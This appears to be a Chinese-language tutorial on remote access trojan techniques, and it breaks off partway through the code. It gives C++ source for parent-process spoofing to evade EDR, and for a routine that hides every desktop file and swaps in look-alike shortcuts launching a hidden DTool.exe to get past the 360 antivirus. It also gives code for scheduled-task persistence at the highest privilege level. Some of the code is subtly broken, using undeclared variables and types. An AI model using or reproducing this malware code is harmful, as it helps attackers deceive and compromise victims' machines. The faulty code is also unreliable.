# 一、RAT 父进程检测与绕过技术(一)
1. 监控父进程和子进程关系是威胁检测团队常用技术,异常的父子进程组合易被 EDR 检测。
2. Windows API 的“CreateProcess”可传入参数分配父进程 PID,Didier Stevens 在 2009 年提出该技术并发布 C++编写的 POC(SelectMyParent)。
以下是 SelectMyParent 的示例代码:
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// 设置父进程 PID
DWORD targetPid = atoi(argv[2]);
STARTUPINFOEX siex = { 0 };
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attributeSize);
DWORD64 value = (DWORD64)targetPid;
UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &value, sizeof(DWORD64), NULL, NULL);
if (!CreateProcess(NULL, argv[1], NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si, &pi))
{
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}
// 等待子进程结束
WaitForSingleObject(pi.hProcess, INFINITE);
// 清理
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
DeleteProcThreadAttributeList(siex.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);
return 0;
}
使用方法:`SelectMyParent.exe notepad 508`,可让记事本在指定 PID 的进程下创建。
# 二、RAT 父进程检测与绕过技术(二)
1. 利用快捷方式绕过 360 数字父进程查杀,代码包括多个函数:
- `bypass_360_startup`:主函数,依次调用`if_need_infection`、`set_hide_directory`、`create_link`。
- `if_need_infection`:检查指定路径下是否有文件需要感染。
- `set_hide_directory`:设置指定路径下文件为隐藏属性。
- `create_link`:在指定路径下为每个文件创建同名快捷方式,快捷方式指向特定路径下的“DTool.exe”,并设置快捷方式图标。以下是完整的代码:
#include <windows.h>
#include <tchar.h>
#include <iostream>
#include <vector>
class CSearchFile
{
public:
std::vector<struct FileInfo> MyVectorFile;
void SearchFile(TCHAR szFind[], TCHAR str_disk[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
TCHAR szFullPath[MAX_PATH];
_stprintf(szFullPath, _T("%s\\%s"), str_disk, szFind);
hFind = FindFirstFile(szFullPath, &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
return;
do
{
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (FindFileData.cFileName[0]!= '.')
{
TCHAR szSubDir[MAX_PATH];
_stprintf(szSubDir, _T("%s\\%s"), str_disk, FindFileData.cFileName);
SearchFile(szFind, szSubDir);
}
}
else
{
FileInfo file;
_tcsncpy(file.szFilePath, str_disk, MAX_PATH);
_tcsncat(file.szFilePath, _T("\\"), MAX_PATH);
_tcsncat(file.szFilePath, FindFileData.cFileName, MAX_PATH);
MyVectorFile.push_back(file);
}
} while (FindNextFile(hFind, &FindFileData)!= 0);
FindClose(hFind);
}
};
struct FileInfo
{
TCHAR szFilePath[MAX_PATH];
};
int bypass_360_startup()
{
TCHAR str_desktop[256];
LPITEMIDLIST pidl;
SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl);
SHGetPathFromIDList(pidl, str_desktop);
if (if_need_infection(str_desktop) == 0)
{
OutputDebugStringA("bypass_360_startup if_need_infection return");
return 0;
}
if (set_hide_directory(str_desktop) == 0)
{
OutputDebugStringA("bypass_360_startup set_hide_directory return");
return 0;
}
if (create_link(str_desktop) == 0)
{
OutputDebugStringA("bypass_360_startup create_link return");
return 0;
}
return 0;
}
int if_need_infection(TCHAR str_disk[])
{
OutputDebugStringA("if_need_infection fun:");
CSearchFile file;
file.SearchFile(_T("."), str_disk);
for (DWORD i = 0; i < file.MyVectorFile.size(); i++)
{
OutputDebugString(file.MyVectorFile[i].szFilePath);
}
if (file.MyVectorFile.size() > 0)
{
return 1;
}
return 0;
}
int set_hide_directory(TCHAR str_disk[])
{
OutputDebugStringA("set_hide_directory fun:");
CSearchFile file;
file.SearchFile(_T("."), str_disk);
for (DWORD i = 0; i < file.MyVectorFile.size(); i++)
{
SetFileAttributes(file.MyVectorFile[i].szFilePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
OutputDebugString(file.MyVectorFile[i].szFilePath);
}
return 1;
}
int create_link(TCHAR str_disk[])
{
OutputDebugStringA("create_link fun:");
CSearchFile file;
file.SearchFile(_T("."), str_disk);
for (DWORD i = 0; i < file.MyVectorFile.size(); i++)
{
TCHAR str_all_user_path[MAX_PATH] = { 0 };
TCHAR str_exe_path[MAX_PATH] = { 0 };
GetEnvironmentVariable(_T("ALLUSERSPROFILE"), str_all_user_path, MAX_PATH);
_stprintf(str_exe_path, _T("%s\\updata\\DTool.exe"), str_all_user_path);
TCHAR path_buffer[_MAX_PATH];
_stprintf(path_buffer, _T("%s.lnk"), file.MyVectorFile[i].szFilePath);
CreateLinkThenChangeIcon(str_exe_path, path_buffer);
}
return 1;
}
void CreateLinkThenChangeIcon(LPTSTR fname_to_create_link, LPTSTR lnk_fname)
{
CoInitialize(0);
HRESULT hres;
IShellLink *psl = NULL;
IPersistFile *pPf = NULL;
WCHAR wsz[256];
TCHAR buf[256];
int id;
LPITEMIDLIST pidl;
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
if (FAILED(hres))
goto cleanup;
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&pPf);
if (FAILED(hres))
goto cleanup;
hres = psl->SetPath(fname_to_create_link);
if (FAILED(hres))
goto cleanup;
SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl);
SHGetPathFromIDList(pidl, buf);
lstrcat(buf, _T("\\"));
lstrcat(buf, lnk_fname);
#ifdef UNICODE
hres = pPf->Save(buf, TRUE);
#else
MultiByteToWideChar(CP_ACP, 0, lnk_fname, -1, wsz, MAX_PATH);
hres = pPf->Save(wsz, TRUE);
#endif
if (FAILED(hres))
goto cleanup;
GetSystemDirectory(buf, 256);
lstrcat(buf, _T("\\shell32.dll"));
hres = psl->SetIconLocation(buf, 3);
if (FAILED(hres))
goto cleanup;
hres = psl->GetIconLocation(buf, 256, &id);
if (FAILED(hres))
goto cleanup;
pPf->Save(wsz, TRUE);
cleanup:
if (pPf)
pPf->Release();
if (psl)
psl->Release();
CoUninitialize();
}
# 三、RAT 利用权限维持持久免杀(三)
1. 实现原理分为初始化、添加计划任务和删除计划任务三部分。
- **初始化**:
- 初始化 COM 接口,设置 COM 安全级别。
- 创建 Task Service 对象并连接,获取 ITaskService 对象和 ITaskFolder 对象。
- **CreateTask(添加计划任务)**:
- 创建任务定义对象,设置注册信息(作者、描述等)、主体信息(登录类型、运行权限)、任务相关信息(启动条件等)、创建触发器、设置执行操作。
- 在 ITaskFolder 对象注册任务。
- **DeleteTask(删除计划任务)**:根据任务名字直接删除。以下是代码示例:
#include <windows.h>
#include <comdef.h>
#include <iostream>
int main()
{
HRESULT hr;
ITaskService* pService = NULL;
ITaskFolder* pRootFolder = NULL;
ITaskDefinition* pTask = NULL;
IRegistrationInfo* pRegInfo = NULL;
IPrincipal* pPrincipal = NULL;
ITaskSettings* pSettings = NULL;
ITriggerCollection* pTriggerCollection = NULL;
ITrigger* pTrigger = NULL;
IActionCollection* pActionCollection = NULL;
IAction* pAction = NULL;
IExecAction* pExecAction = NULL;
IRegisteredTask* pRegisteredTask = NULL;
// 初始化 COM
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
{
std::cerr << "CoInitializeEx failed. HRESULT = " << hr << std::endl;
return -1;
}
// 设置 COM security levels.
hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
if (FAILED(hr))
{
std::cerr << "CoInitializeSecurity failed. HRESULT = " << hr << std::endl;
CoUninitialize();
return -1;
}
// 创建 Task Service 对象
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
if (FAILED(hr))
{
std::cerr << "CoCreateInstance for ITaskService failed. HRESULT = " << hr << std::endl;
CoUninitialize();
return -1;
}
// 连接到 Task Service
hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hr))
{
std::cerr << "ITaskService::Connect failed. HRESULT = " << hr << std::endl;
if (pService)
pService->Release();
CoUninitialize();
return -1;
}
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
if (FAILED(hr))
{
std::cerr << "ITaskService::GetFolder failed. HRESULT = " << hr << std::endl;
if (pService)
pService->Release();
CoUninitialize();
return -1;
}
// 创建任务
hr = pService->NewTask(0, &pTask);
if (FAILED(hr))
{
std::cerr << "ITaskService::NewTask failed. HRESULT = " << hr << std::endl;
if (pService)
pService->Release();
if (pRootFolder)
pRootFolder->Release();
CoUninitialize();
return -1;
}
// 设置注册信息
hr = pTask->get_RegistrationInfo(&pRegInfo);
if (FAILED(hr))
{
std::cerr << "ITaskDefinition::get_RegistrationInfo failed. HRESULT = " << hr << std::endl;
if (pTask)
pTask->Release();
if (pService)
pService->Release();
if (pRootFolder)
pRootFolder->Release();
CoUninitialize();
return -1;
}
hr = pRegInfo->put_Author(_bstr_t(L"Author Name"));
hr = pRegInfo->put_Description(_bstr_t(L"Task Description"));
if (FAILED(hr))
{
std::cerr << "IRegistrationInfo::put_Author/put_Description failed. HRESULT = " << hr << std::endl;
if (pRegInfo)
pRegInfo->Release();
if (pTask)
pTask->Release();
if (pService)
pService->Release();
if (pRootFolder)
pRootFolder->Release();
CoUninitialize();
return -1;
}
// 设置主体信息
hr = pTask->get_Principal(&pPrincipal);
if (FAILED(hr))
{
std::cerr << "ITaskDefinition::get_Principal failed. HRESULT = " << hr << std::endl;
if (pRegInfo)
pRegInfo->Release();
if (pTask)
pTask->Release();
if (pService)
pService->Release();
if (pRootFolder)
pRootFolder->Release();
CoUninitialize();
return -1;
}
hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
if (FAILED(hr))
{
std::cerr << "IPrincipal::put_LogonType/put_RunLevel failed. HRESULT = " << hr << std::endl;
if (pPrincipal)
pPrincipal->Release();
if (pRegInfo)
pRegInfo->Release();
if (pTask)
pTask->Release();
if (pService)
pService->Release();
if (pRootFolder)
pRootFolder->Release();
CoUninitialize();
return -1;
}
// 设置任务相关信息
hr = pTask->get_Settings(&pSettings);
if (FAILED(hr))
{
std::cerr << "ITaskDefinition::get_Settings failed. HRESULT = " << hr << std::endl;
if (pPrincipal)
pPrincipal->Release();
if (pRegInfo)
pRegInfo->Release();
if (pTask)
pTask->Release();
if (pService)
pService->Release();
if (pRootFolder)
pRootFolder->Release();
CoUninitialize();
return -1;
}
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
hr = pSettings->get_IdleSettings(&pIdleSettings);
if (FAILED(hr))
{
std::cerr << "ITaskSettings::put_StartWhenAvailable/get_IdleSettings failed. HRESULT = " << hr << std::endl;
if (pSettings)
pSettings->Release();
if (pPrincipal)
pPrincipal->Release();
if (pRegInfo)
pRegInfo->Release();
if (pTask)
pTask->Release();
if (pService)
pService->Release();
if (pRootFolder)
pRootFolder->Release();
CoUninitialize();
return -1;
}
// 创建触发器
hr = pTask->get_Triggers(&pTriggerCollection)